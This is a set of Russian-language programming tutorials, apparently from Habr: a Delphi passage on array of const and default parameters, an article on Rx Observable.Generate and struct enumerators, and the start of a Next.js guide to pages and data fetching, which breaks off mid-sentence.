`PVarRec = ^TVarRec;
TVarRec = record
case Byte of
vtInteger: (VInteger: Integer; VType: Byte);
vtBoolean: (VBoolean: Boolean);
vtChar: (VChar: Char);
vtExtended: (VExtended: PExtended);
vtString: (VString: PShortString);
vtPointer: (VPointer: Pointer);
vtPChar: (VPChar: PChar);
vtObject: (VObject: TObject);
vtClass: (VClass: TClass);
vtWideChar: (VWideChar: WideChar);
vtPWideChar: (VPWideChar: PWideChar);
vtAnsiString: (VAnsiString: Pointer);
vtCurrency: (VCurrency: PCurrency);
vtVariant: (VVariant: PVariant);
vtInterface: (VInterface: Pointer);
vtWideString: (VWideString: Pointer);
vtInt64: (VInt64: PInt64);
end;`
Поле VType определяет тип содержащихся в данном экземпляре записи TVarRec данных и может принимать одно приведенных значений.
Поскольку массив констант способен передавать данные разных типов, это может вызвать определенные затруднения при создании обрабатывающей полученные параметры функции или процедуры. В качестве примера работы с таким массивом рассмотрим реализацию процедуры WhatHaveIGot, которая просматривает элементы полученного массива параметров и выводит их тип.
`procedure WhatHaveIGot( A: array of const );
var
i: integer;
TypeStr: string;
begin
for i := Low(A) to High(A) do
begin
case A[i].VType of
vtInteger : TypeStr := 'Integer';
vtBoolean : TypeStr := 'Boolean';
vtChar : TypeStr := 'Char';
vtExtended : TypeStr := 'Extended';
vtString : TypeStr := 'String';
vtPointer : TypeStr := 'Pointer';
vtPChar : TypeStr := 'PChar';
vtObject : TypeStr := 'Object';
vtClass : TypeStr := 'Class';
vtWideChar : TypeStr := 'WideChar';
vtPWideChar : TypeStr := 'PWideChar';
vtAnsiString : TypeStr := 'AnsiString';
vtCurrency : TypeStr := 'Currency';
vtVariant : TypeStr := 'Variant';
vtInterface : TypeStr := 'Interface';
vtWideString : TypeStr := 'WideString';
vtInt64 : TypeStr := 'Int64';
end;
ShowMessage( Format( 'Array item %d is a %s', [i, TypeStr] ) );
end;
end;`
#### Значения параметров по умолчанию
В Delphi есть одна очень полезная возможность — использование значений параметров по умолчанию. Она позволяет установить принимаемое по умолчанию значение параметра процедуры или функции. Это значение будет использоваться в тех случаях, когда вызов процедуры или функции производится без указания значения данного параметра. В объявлении процедуры или функции принимаемое по умолчанию значение параметра указывается после знака равенства, следующего после его имени. Поясним это на следующем примере:
`procedure HasDefVal( s: string; i: integer = 0 );`
Подобное объявление означает, что процедура HasDefVal может быть вызвана двумя путями. В первом случае — как обычно, с указанием обоих параметров:
`procedure HasDefVal( 'Hello', 26 );`
Во втором случае можно задать только значение параметра s, а для параметра i использовать значение, установленное по умолчанию:
`procedure HasDefVal( 'Hello' );`
При использовании значении параметров по умолчанию следует помнить о нескольких приведенных ниже правилах:
* Параметры, имеющие значения по умолчанию, должны располагаться в конце списка параметров. Параметр без значения по умолчанию не должен встречаться в списке после параметра, имеющего значение по умолчанию.
* Значения по умолчанию могут присваиваться только параметрам обычных типов, указателям или множествам.
* Значение по умолчанию может передаваться только по значению либо с модификатором const. Оно не может быть ссылкой или нетипизированным параметром.
Одним из важных преимуществ применения значений параметров по умолчанию является простота расширения функциональных возможностей уже имеющихся процедур и функции с соблюдением обратной совместимости. Предположим, на рынок программных продуктов была выпущена программа, ключевым звеном которой является функция сложения двух целых величин:
`function Add( I1, I2: integer ): integer;
begin
Result := I1 + I2;
end;`
Предположим также, что исследования показали целесообразность добавления в программу возможности сложения трех чисел. Однако замена имеющейся функции функцией сложения трех чисел приведет к тому, что вам придется переправлять немало текста, который перестанет компилироваться из-за внесения в функцию еще одного параметра. Однако при использовании значений параметров по умолчанию проблема решается легко и просто. Достаточно изменить объявление функции так, как показано ниже.
`function Add( I1, I2: integer; I3: integer = 0 ): integer;
begin
Result := I1 + I2 + I3;
end;`
#### Директива {$X-}
Директива {$X-} запрещает вызов функций как процедур (с игнорированием возвращаемого результата). По умолчанию этот режим включен ({$X+}). Так вот, запомните, использование переменной Result недопустимо при сброшенном флажке опции Extended Syntax, расположенном во вкладке Compiler диалогового окна Project Options, или при указании директивы компилятора {$X-}.
В каждой функции языка Objecl Pascal существует локальная переменная с именем Result, предназначенная для размещения возвращаемого значения. Кроме того, вернуть значение из функции можно также путем присвоения значения переменной, имеющей то же имя, что и данная функция. Это стандартный синтаксис языка Pascal, сохранившийся от его предыдущих версий. При использовании в теле функции переменной с ее именем не забывайте, что существуют большие отличия в обработке этого имени — все зависит от того, где она расположена — в левой части оператора присвоения или же в любом другом месте текста функции. Если имя функции указано в левой части оператора присвоения, то предполагается, что назначается возвращаемое функцией значение. Во всех других случаях предполагается, что осуществляется рекурсивный вызов этой функции.
*Процедура и функция — это ключевые понятия в любом языке программирования, без которых не обходится ни одна серьезная программа. И поэтому очень важно иметь полное понимание о механизме их работы.* | https://habr.com/ru/post/122929/ | null | ru | null |
# Observable.Generate и перечисление списков
В библиотеке реактивных расширений (a.k.a. Rx – Reactive Extensions) существует вспомогательный метод **Observable****.****Generate**, который позволяет генерировать простые observable-последовательности.
```
IObservable xs = Observable.Generate(
initialState: 0, // начальное значение
condition: x => x < 10, // условие завершения генерации
iterate: x => x + 1, // изменение значения
resultSelector: x => x.ToString() // преобразование текущего значения в результат
);
xs.Subscribe(x => Console.WriteLine("x: {0}", x));
```
**ПРИМЕЧАНИЕ**Обратите внимание на явное указание параметров обобщенного метода. Причина такого странного поведения (ведь обобщенные параметры методов должны спокойно выводиться компилятором) в том, что в компиляторе языка C# есть известный баг, в результате которого, вывод типов плохо дружит с именованными параметрами. Подробнее об этом можно почитать на [stackoverflow](http://stackoverflow.com/questions/6542822/named-arguments-and-generic-type-inference-in-c-sharp-4-0) или на [connect-e](http://connect.microsoft.com/VisualStudio/feedback/details/678498). Да, кстати, это дело пофиксили в Visual Studio 11.
Метод **Generate** напоминает простой цикл **for**, который состоит из тех же самых этапов: инициализации начального значения, условия выхода из цикла и изменения переменной цикла. И если мы захотим сгенерировать обычную последовательность в памяти, то мы будем использовать именно цикл **for** внутри блока итераторов:
```
static IEnumerable GenerateSequence()
{
for (
int x = 0; //initialState
x < 10; // condition
x = x + 1 // iterate
)
{
yield return x.ToString(); // resultSelector
}
}
static void Main(string[] args)
{
var xs = GenerateSequence();
foreach (var x in xs)
Console.WriteLine("x: {0}", x);
}
```
Оба варианта кода эквивалентны, но если в первом случае создается **push**-последовательность (в виде интерфейса **IObservable****of****T**), которая будет самостоятельно уведомлять о поступлении новых элементов, то во втором случае мы получаем **pull**-последовательность (в виде интерфейса **IEnumerable****of****T**), из которой нужно «плоскогубцами» эти элементы вытаскивать.
**ПРИМЕЧАНИЕ**
Если очень коротко, то **pull**-модель – это такая модель взаимодействия приложения с окружающим миром, когда ведущую роль выполняет именно приложение. Если посмотреть на интерфейс **IEnumerable**, то именно вызывающий код «управляет» потоком элементом, вызывая метод **MoveNext** для перехода к следующему. В **push**-модели действия разворачиваются по-другому: внешнее окружение само уведомляет приложение о некоторых событиях (например, о наличии новых данных), а приложение лишь «реагирует» на них. Подробнее об этих моделях, о дуализме интерфейсов **IEnumerable**/**IObservable**, а также о других возможностях библиотеки реактивных расширений можно почитать в статье: [Реактивные расширения и асинхронные операции](http://sergeyteplyakov.blogspot.com/2010/11/blog-post.html).
Поскольку интерфейсы push и pull-последовательностей (**IObservable****of****T** и **IEnumerable****of****T**, соответственно) являются такими похожими, то к нам в голову легко может затесаться мысль о преобразовании из одной формы последовательности в другую:
```
int[] ai = new[] {1, 2, 3};
IObservable oi = Observable.Generate(
/\*initialState:\*/ ai.GetEnumerator(),
/\*condition:\*/ e => e.MoveNext(),
/\*iterate:\*/ e => e,
/\*resultSelector:\*/ e => (int)e.Current
);
oi.Subscribe(i => Console.WriteLine("i: {0}", i));
```
В целом ничего криминального, и при выполнении этого кода мы ожидаемо получим:
1
2
3
Но что, если вместо массива нам захочется сделать тоже самое со списком:
```
List li = new List {1, 2, 3};
IObservable oi = Observable.Generate(
/\*initialState:\*/ li.GetEnumerator(),
/\*condition:\*/ e => e.MoveNext(),
/\*iterate:\*/ e => e,
/\*resultSelector:\*/ e => (int)e.Current
);
oi.Subscribe(i => Console.WriteLine("i: {0}", i));
```
И, совершенно естественно, что в этом случае мы получим … бесконечную последовательность нулей.
**ПРИМЕЧАНИЕ**
Да, я знаю, что самым простым способом преобразования простой последовательности в **observable**-последовательность, является использование метода расширения **Observable****.****ToObservable**, который «расширяет» интерфейс **IEnumerable**. Но, предположим, что мы либо о нем не знаем, либо нам нужна более сложная логика, доступная в методе **Generate**.
Причина такого поведения кроется в том, что енумератор класса **List****of****T** (а также большинства других коллекций BCL) является структурой, а не классом. А, как нам известно, изменяемые структуры (ведь енумератор изменяет свое внутреннее состояние) не очень вяжутся с передачей по значению. В результате этого мы постоянно пробуем изменить копию енумератора, а не исходный енумертор, переданный нами в методе **Generate**.
Изменяемые структуры – это зло, и только стремление к оптимизации кода для наиболее распространенного сценария использования енумераторов привели к тому, что разработчики BCL сделали их структурами, а не классами. Поскольку наиболее частым сценарием использования енумерторов в C# 2.0 было использование его в цикле foreach, который никак не страдал от проблем с изменяемыми структурами, то было принято решение сэкономить несколько тактов процессора и использовать для енумератора именно структуру, а не класс.
**ПРИМЕЧАНИЕ**
Подробности о том, почему это было сделано именно так, можно почитать [в одном из постов](http://blogs.microsoft.co.il/blogs/sasha/archive/2010/07/05/enumerator-structs-optimizing-for-the-common-case.aspx) Sasha Goldshtein, а также [в ответе](http://stackoverflow.com/questions/3168311/why-bcl-collections-use-struct-enumerators-not-classes) Эрика Липперта на stackoverflow. О других же проблемах изменяемых значимых типов можно почитать в статье: [О вреде изменяемых значимых типов](http://sergeyteplyakov.blogspot.com/2011/07/blog-post.html).
Решается эта проблема довольно просто: для этого достаточно привести исходное значение енумератора к интерфейсу, что приведет к его упаковке и последующей модификации «общей» переменной, расположенной в управляемой куче, а не к изменению копии:
```
IObservable oi = Observable.Generate(
/\*initialState:\*/ (IEnumerator)li.GetEnumerator(),
/\*condition:\*/ e => e.MoveNext(),
/\*iterate:\*/ e => e,
/\*resultSelector:\*/ e => (int)e.Current
);
``` | https://habr.com/ru/post/132314/ | null | ru | null |
# Next.js: подробное руководство. Итерация первая
Привет, друзья!
Хочу поделиться с вами заметками о `Next.js` (надеюсь, кому-нибудь пригодится).
`Next.js` — это основанный на `React` фреймворк, предназначенный для разработки веб-приложений, обладающих функционалом, выходящим за рамки `SPA`, т.е. так называемых одностраничных приложений.
Как известно, основным недостатком `SPA` являются проблемы с индексацией страниц таких приложений поисковыми роботами, что негативно влияет на `SEO`.
Впрочем, по моим личным наблюдениям, в последнее время ситуация стала меняться к лучшему, по крайней мере, страницы [`моего небольшого SPA-PWA-приложения`](https://typescript-handbook.ru/) нормально индексируются.
Кроме того, существуют специальные инструменты, такие как [`react-snap`](https://github.com/stereobooster/react-snap), позволяющие превратить `React-SPA` в многостраничник путем предварительного рендеринга приложения в статическую разметку. Метаинформацию же можно встраивать в `head` с помощью таких утилит, как [`react-helmet`](https://www.npmjs.com/package/react-helmet). Однако `Next.js` существенно упрощает процесс разработки многостраничных и гибридных приложений (последнего невозможно добиться с помощью того же `react-snap`). Он также предоставляет множество других интересных возможностей.
* [Документация](https://nextjs.org/docs/getting-started)
* [Примеры](https://github.com/vercel/next.js/tree/canary/examples)
*Обратите внимание*: данная статья предполагает, что вы обладаете некоторым опытом работы с `React`. Также *обратите внимание*, что заметки не сделают вас специалистом по `Next.js`, но позволят получить о нем исчерпывающее представление.
Заметки состоят из 2 частей. Это часть номер раз.
[Итерация вторая](https://habr.com/ru/company/timeweb/blog/590157/).
*Ремарка*: ссылки ниже могут оказаться нерабочими из-за особенностей парсинга `MD` хабровским редактором.
### Содержание
* [Начало работы](#%D0%BD%D0%B0%D1%87%D0%B0%D0%BB%D0%BE-%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%8B)
* [Основные возможности](#%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D0%BD%D1%8B%D0%B5-%D0%B2%D0%BE%D0%B7%D0%BC%D0%BE%D0%B6%D0%BD%D0%BE%D1%81%D1%82%D0%B8)
+ [Страницы (Pages)](#%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D1%8B-pages)
+ [Получение данных (Data Fetching)](#%D0%BF%D0%BE%D0%BB%D1%83%D1%87%D0%B5%D0%BD%D0%B8%D0%B5-%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85-data-fetching)
+ [`Встроенная поддержка CSS`](#%D0%B2%D1%81%D1%82%D1%80%D0%BE%D0%B5%D0%BD%D0%BD%D0%B0%D1%8F-%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D1%80%D0%B6%D0%BA%D0%B0-css)
+ [Макеты (Layouts)](#%D0%BC%D0%B0%D0%BA%D0%B5%D1%82%D1%8B-layouts)
+ [`Компонент Image` и оптимизация изображений](#%D0%BA%D0%BE%D0%BC%D0%BF%D0%BE%D0%BD%D0%B5%D0%BD%D1%82-image-%D0%B8-%D0%BE%D0%BF%D1%82%D0%B8%D0%BC%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F-%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B9)
+ [Оптимизация шрифтов](#%D0%BE%D0%BF%D1%82%D0%B8%D0%BC%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F-%D1%88%D1%80%D0%B8%D1%84%D1%82%D0%BE%D0%B2)
+ [`Компонент Script`](#%D0%BA%D0%BE%D0%BC%D0%BF%D0%BE%D0%BD%D0%B5%D0%BD%D1%82-script)
+ [Обслуживание статических файлов](#%D0%BE%D0%B1%D1%81%D0%BB%D1%83%D0%B6%D0%B8%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5-%D1%81%D1%82%D0%B0%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D1%85-%D1%84%D0%B0%D0%B9%D0%BB%D0%BE%D0%B2)
+ [Обновление в режиме реального времени](#%D0%BE%D0%B1%D0%BD%D0%BE%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D0%B2-%D1%80%D0%B5%D0%B6%D0%B8%D0%BC%D0%B5-%D1%80%D0%B5%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D0%B3%D0%BE-%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%B8)
+ [`TypeScript`](#typescript)
+ [Переменные среды окружения](#%D0%BF%D0%B5%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%BD%D1%8B%D0%B5-%D1%81%D1%80%D0%B5%D0%B4%D1%8B-%D0%BE%D0%BA%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F)
* [Маршрутизация](#%D0%BC%D0%B0%D1%80%D1%88%D1%80%D1%83%D1%82%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F)
+ [Введение](#%D0%B2%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5)
+ [Динамические роуты](#%D0%B4%D0%B8%D0%BD%D0%B0%D0%BC%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B5-%D1%80%D0%BE%D1%83%D1%82%D1%8B)
+ [Императивный подход к навигации на стороне клиента](#%D0%B8%D0%BC%D0%BF%D0%B5%D1%80%D0%B0%D1%82%D0%B8%D0%B2%D0%BD%D1%8B%D0%B9-%D0%BF%D0%BE%D0%B4%D1%85%D0%BE%D0%B4-%D0%BA-%D0%BD%D0%B0%D0%B2%D0%B8%D0%B3%D0%B0%D1%86%D0%B8%D0%B8-%D0%BD%D0%B0-%D1%81%D1%82%D0%BE%D1%80%D0%BE%D0%BD%D0%B5-%D0%BA%D0%BB%D0%B8%D0%B5%D0%BD%D1%82%D0%B0)
+ [Поверхностная (тихая) маршрутизация (Shallow Routing)](#%D0%BF%D0%BE%D0%B2%D0%B5%D1%80%D1%85%D0%BD%D0%BE%D1%81%D1%82%D0%BD%D0%B0%D1%8F-%D1%82%D0%B8%D1%85%D0%B0%D1%8F-%D0%BC%D0%B0%D1%80%D1%88%D1%80%D1%83%D1%82%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F-shallow-routing)
* [Интерфейс маршрутизации (API Routes)](#%D0%B8%D0%BD%D1%82%D0%B5%D1%80%D1%84%D0%B5%D0%B9%D1%81-%D0%BC%D0%B0%D1%80%D1%88%D1%80%D1%83%D1%82%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D0%B8-api-routes)
+ [Введение](#%D0%B2%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5-1)
+ [Посредники (Middlewares)](#%D0%BF%D0%BE%D1%81%D1%80%D0%B5%D0%B4%D0%BD%D0%B8%D0%BA%D0%B8-middlewares)
+ [Вспомогательные функции](#%D0%B2%D1%81%D0%BF%D0%BE%D0%BC%D0%BE%D0%B3%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5-%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%B8)
* [Подготовка к продакшну](#%D0%BF%D0%BE%D0%B4%D0%B3%D0%BE%D1%82%D0%BE%D0%B2%D0%BA%D0%B0-%D0%BA-%D0%BF%D1%80%D0%BE%D0%B4%D0%B0%D0%BA%D1%88%D0%BD%D1%83)
+ [Кеширование](#%D0%BA%D0%B5%D1%88%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)
+ [`Уменьшение количества используемого JavaScript`](#%D1%83%D0%BC%D0%B5%D0%BD%D1%8C%D1%88%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BA%D0%BE%D0%BB%D0%B8%D1%87%D0%B5%D1%81%D1%82%D0%B2%D0%B0-%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D1%83%D0%B5%D0%BC%D0%BE%D0%B3%D0%BE-javascript)
* [Аутентификация (Authentication)](#%D0%B0%D1%83%D1%82%D0%B5%D0%BD%D1%82%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D1%8F-authentication)
+ [Паттерны аутентификации](#%D0%BF%D0%B0%D1%82%D1%82%D0%B5%D1%80%D0%BD%D1%8B-%D0%B0%D1%83%D1%82%D0%B5%D0%BD%D1%82%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D0%B8)
+ [Провайдеры аутентификации](#%D0%BF%D1%80%D0%BE%D0%B2%D0%B0%D0%B9%D0%B4%D0%B5%D1%80%D1%8B-%D0%B0%D1%83%D1%82%D0%B5%D0%BD%D1%82%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D0%B8)
Начало работы
-------------
Для создания проекта рекомендуется использовать `create-next-app`:
```
yarn create next-app app-name
# typescript
yarn create next-app app-name --typescript
```
Ручная установка:
* устанавливаем зависимости
```
yarn add next react react-dom
```
* обновляем `package.json`
```
"scripts": {
"dev": "next dev",
"build": "next build",
"start": "next start",
"lint": "next lint"
}
```
Запуск сервера для разработки:
```
yarn dev
```
Основные возможности
--------------------
### Страницы (Pages)
Страница — это компонент `React`, который экспортируется из файла с расширением `.js`, `.jsx`, `.ts` или `.tsx`, находящегося в директории `pages`. Каждая страница ассоциируется с маршрутом (роутом) по названию. Например, страница `pages/about.js` будет доступна по адресу `/about`. *Обратите внимание*, что страница должна экспортироваться по умолчанию (`export default`):
```
export default function About() {
return О нас
}
```
Маршрут для страницы `pages/posts/[id].js` будет динамическим, т.е. такая страница будет доступна по адресам `posts/1`, `posts/2` и т.д.
По умолчанию все страницы рендерятся предварительно (pre-rendering). Это приводит к лучшей производительности и `SEO`. Каждая страница ассоциируется с минимальным количеством `JS`. При загрузке страницы запускается JS-код, который делает ее интерактивной (данный процесс называется гидратацией — hydration).
Существует 2 формы предварительного рендеринга: генерация статической разметки (static generation, SSG, рекомендуемый подход) и рендеринг на стороне сервера (server-side rendering, SSR). Первая форма предусматривает генерацию `HTML` во время сборки и его повторное использование при каждом запросе. Вторая — генерацию разметки при каждом запросе. Генерация статической разметки является рекомендуемым подходом по причинам производительности.
Кроме этого можно использовать рендеринг на стороне клиента (client-side rendering), когда определенные части страницы рендерятся клиентским `JS`.
**SSG**
Генерироваться могут как страницы с данными, так и страницы без данных.
*Без данных*
```
export default function About() {
return О нас
}
```
*С данными*
Существует 2 возможных сценария, при которых может потребоваться генерация статической страницы с данными:
1. Контент страницы зависит от внешних данных: используется `getStaticProps`
2. Пути (paths) страницы зависят от внешних данных: используется `getStaticPaths` (как правило, совместно с `getStaticProps`)
*Контент страницы зависит от внешних данных*
Предположим, что страница блога получает список постов от `CMS`:
```
// TODO: запрос `posts`
export default function Blog({ posts }) {
return (
{posts.map((post) => (
* {post.title}
))}
)
}
```
Для получения данных, необходимых для предварительного рендеринга, из файла должна экспортироваться асинхронная функция `getStaticProps`. Данная функция вызывается во время сборки и позволяет передавать полученные данные странице в виде `props`:
```
export default function Blog({ posts }) {
// ...
}
export async function getStaticProps() {
const posts = await (await fetch('https://example.com/posts'))?.json()
// обратите внимание на сигнатуру
return {
props: {
posts
}
}
}
```
*Пути страницы зависят от внешних данных*
Для обработки предварительного рендеринга статической страницы, пути которой зависят от внешних данных, из динамической страницы (например, `pages/posts/[id].js`) должна экспортироваться асинхронная функция `getStaticPaths`. Данная функция вызывается во время сборки и позволяет определить пути для пререндеринга:
```
export default function Post({ post }) {
// ...
}
export async function getStaticPaths() {
const posts = await (await fetch('https://example.com/posts'))?.json()
// обратите внимание на структуру возвращаемого массива
const paths = posts.map((post) => ({
params: { id: post.id }
}))
// `fallback: false` означает, что для ошибки 404 используется другой маршрут
return {
paths,
fallback: false
}
}
```
На странице `pages/posts/[id].js` также должна экспортироваться функция `getStaticProps` для получения данных поста с указанным `id`:
```
export default function Post({ post }) {
// ...
}
export async function getStaticPaths() {
// ...
}
export async function getStaticProps({ params }) {
const post = await (await fetch(`https://example.com/posts/${params.id}`)).json()
return {
props: {
post
}
}
}
```
**SSR**
Для обработки рендеринга страницы на стороне сервера из файла должна экспортироваться асинхронная функция `getServerSideProps`. Данная функция будет вызываться при каждом запросе страницы.
```
function Page({ data }) {
// ...
}
export async function getServerSideProps() {
const data = await (await fetch('https://example.com/data'))?.json()
return {
props: {
data
}
}
}
```
### Получение данных (Data Fetching)
Существует 3 функции для получения данных, необходимых для предварительного рендеринга:
* `getStaticProps` (SSG): получение данных во время сборки
* `getStaticPaths` (SSG): определение динамических роутов для предварительного рендеринга страниц на основе данных
* `getServerSideProps` (SSR): получение данных при каждом запросе
**`getStaticProps`**
Страница, на которой экспортируется асинхронная функция `getStaticProps`, предварительно рендерится с помощью возвращаемых этой функцией пропов.
```
export async function getStaticProps(context) {
return {
props: {}
}
}
```
`context` — это объект со следующими свойствами:
* `params` — параметры роута для страниц с динамической маршрутизацией. Например, если названием страницы является `[id].js`, `params` будет иметь вид `{ id: ... }`
* `preview` — имеет значение `true`, если страница находится в режиме предварительного просмотра
* `previewData` — набор данных, установленный с помощью `setPreviewData`
* `locale` — текущая локаль (если включено)
* `locales` — поддерживаемые локали (если включено)
* `defaultLocale` — дефолтная локаль (если включено)
`getStaticProps` возвращает объект со следующими свойствами:
* `props` — опциональный объект с пропами для страницы
* `revalidate` — опциональное количество секунд, по истечении которых происходит повторная генерация страницы. По умолчанию имеет значение `false` — повторная генерация выполняется только при следующей сборке
* `notFound` — опциональное логическое значение, позволяющее вернуть статус 404 и соответствующую страницу, например:
```
export async function getStaticProps(context) {
const res = await fetch('/data')
const data = await res.json()
if (!data) {
return {
notFound: true
}
}
return {
props: {
data
}
}
}
```
*Обратите внимание*: `notFound` не требуется в режиме `fallback: false`, поскольку в этом режиме предварительно рендерятся только пути, возвращаемые `getStaticPaths`.
*Также обратите внимание*, что `notFound: true` означает возврат 404 даже в случае, если предыдущая страница была успешно сгенерирована. Это рассчитано на поддержку случаев удаления пользовательского контента.
* `redirect` — опциональный объект, позволяющий выполнять перенаправления на внутренние и внешние ресурсы, который должен иметь форму `{ destination: string, permanent: boolean }`:
```
export async function getStaticProps(context) {
const res = await fetch('/data')
const data = await res.json()
if (!data) {
return {
redirect: {
destination: '/',
permanent: false
}
}
}
return {
props: {
data
}
}
}
```
*Замечание 1*: в настоящее время перенаправления во время сборки не разрешаются. Такие перенаправления должны быть добавлены в `next.config.js`.
*Замечание 2*: модули, импортируемые на верхнем уровне для использования в `getStaticProps`, не включаются в клиентскую сборку. Это означает, что серверный код, включая операции чтения из файловой системы или из базы данных, можно писать прямо в `getStaticProps`.
*Замечание 3*: `fetch()` в `getStaticProps` следует использовать только при получении ресурсов из внешних источников.
*Случаи использования*
* данные для рендеринга доступны во время сборки и не зависят от запроса пользователя
* данные приходят из безголовой (headless) `CMS`
* данные могут быть кешированы в открытом виде (не предназначены для конкретного пользователя)
* страница должна быть предварительно отрендерена (для `SEO`) и при этом должна быть очень быстрой — `getStaticProps` генерирует `HTML` и `JSON` файлы, которые могут быть кешированы с помощью `CDN`
*Использование с `TypeScript`*
```
import { GetStaticProps } from 'next'
export const getStaticProps: GetStaticProps = async (context) => {}
```
Для получения предполагаемых типов для пропов следует использовать `InferGetStaticPropsType`:
```
import { InferGetStaticPropsType } from 'next'
type Post = {
author: string
content: string
}
export const getStaticProps = async () => {
const res = await fetch('/posts')
const posts: Post[] = await res.json()
return {
props: {
posts
}
}
}
export default function Blog({ posts }: InferGetStaticPropsType) {
// посты будут иметь тип `Post[]`
}
```
**Инкрементальная статическая регенерация**
Статические страницы можно обновлять после сборки приложения. Инкрементальная статическая регенерация позволяет использовать статическую генерацию на уровне отдельных страниц без необходимости повторной сборки всего проекта.
Пример:
```
const Blog = ({ posts }) => (
{posts.map((post) => (
* {post.title}
))}
)
// Данная функция вызывается во время сборки на сервере.
// Она может вызываться повторно как бессерверная функция
// при включенной инвалидации и поступлении нового запроса
export async function getStaticProps() {
const res = await fetch('/posts')
const posts = await res.json()
return {
props: {
posts
},
// `Next.js` попытается регенерировать страницу:
// - при поступлении нового запроса
// - как минимум, один раз каждые 10 секунд
revalidate: 10 // в секундах
}
}
// Данная функция вызывается во время сборки на сервере.
// Она может вызываться повторно как бессерверная функция
// если путь не был сгенерирован предварительно
export async function getStaticPaths() {
const res = await fetch('/posts')
const posts = await res.json()
// Получаем пути для предварительного рендеринга на основе постов
const paths = posts.map((post) => ({
params: { id: post.id }
}))
// Только эти пути будут предварительно отрендерены во время сборки
// `{ fallback: 'blocking' }` будет рендерить страницы на сервере
// при отсутствии соответствующего пути
return { paths, fallback: 'blocking' }
}
export default Blog
```
При запросе страницы, которая была предварительно отрендерена во время сборки, отображается кешированная страница.
* Ответ на любой запрос к такой странице до истечения 10 секунд также мгновенно возвращается из кеша
* По истечении 10 секунд следующий запрос также получает в ответ кешированную версию страницы
* После этого в фоновом режиме запускается регенерация страницы
* После успешной регенерации кеш инвалидируется и отображается новая страница. При провале регенерации старая страница остается неизменной
**Чтение файлов**
Для получения абсолютного пути к текущей рабочей директории следует использовать `process.cwd()`:
```
import { promises as fs } from 'fs'
import { join } from 'path'
const Blog = ({ posts }) => (
{posts.map((post) => (
* ### {post.filename}
{post.content}
))}
)
// Данная функция вызывается на сервере, так что
// в ней можно напрямую обращаться к БД
export async function getStaticProps() {
const postsDir = join(process.cwd(), 'posts')
const filenames = await fs.readdir(postsDir)
const posts = filenames.map(async (filename) => {
const filePath = join(postsDir, filename)
const fileContent = await fs.readFile(filePath, 'utf-8')
// Обычно, здесь выполняется преобразование контента,
// например, разбор `markdown` в `HTML`
return {
filename,
content: fileContent
}
})
return {
props: {
posts: await Promise.all(posts)
}
}
}
export default Blog
```
**Технические подробности**
* Поскольку `getStaticProps` запускается во время сборки, она не может использовать данные из запроса, такие как параметры строки запроса (query params) или HTTP-заголовки (headers)
* `getStaticProps` запускается только на сервере, поэтому ее нельзя использовать для обращения к внутренним роутам
* при использовании `getStaticProps` генерируется не только `HTML`, но и файл в формате `JSON`. Данный файл содержит результаты выполнения `getStaticProps` и используется механизмом маршрутизации на стороне клиента для передачи пропов компонентам
* `getStaticProps` может использовать только в компоненте-странице. Это объясняется тем, что все данные, необходимые для рендеринга страницы, должны быть доступными
* в режиме для разработки `getStaticProps` вызывается при каждом запросе
* режим предварительного просмотра (preview mode) используется для рендеринга страницы при каждом запросе
**`getStaticPaths`**
Страницы с динамической маршрутизацией, из которых экспортируется асинхронная функция `getStaticPaths`, будут предварительно сгенерированы для всех путей, возвращаемых этой функцией.
```
export async function getStaticPaths() {
return {
paths: [
params: {}
],
fallback: true | false | 'blocking'
}
}
```
*Ключ `paths`*
`paths` определяет, какие пути будут предварительно отрендерены. Например, если у нас имеется страница с динамической маршрутизацией, которая называется `pages/posts/[id].js`, и экспортируемая на этой странице `getStaticPaths` возвращает такой `paths`:
```
return {
paths: [
{ params: { id: '1' } },
{ params: { id: '2' } },
]
}
```
Тогда будут статически сгенерированы страницы `posts/1` и `posts/2` на основе компонента `pages/posts/[id].js`.
*Обратите внимание*, что название каждого `params` должно совпадать с параметрами, используемыми на странице:
* если названием страницы является `pages/posts/[postId]/[commentId]`, тогда `params` должен содержать `postId` и `commentId`
* если на странице используется перехватчик роутов, например, `pages/[...slug]`, `params` должен содержать `slug` в виде массива. Например, если такой массив будет выглядеть как `['foo', 'bar']`, то будет сгенерирована страница `/foo/bar`
* если на странице используется опциональный перехватчик роутов, применение `null`, `[]`, `undefined` или `false`, приведет к рендерингу роута верхнего уровня. Например, при применении `slug: false` к `pages/[[...slug]]`, будет сгенерирована страница `/`
*Ключ `fallback`*
* если `fallback` имеет значение `false`, отсутствующий путь будет разрешаться страницей `404`
* если `fallback` имеет значение `true`, поведение `getStaticProps` будет таким:
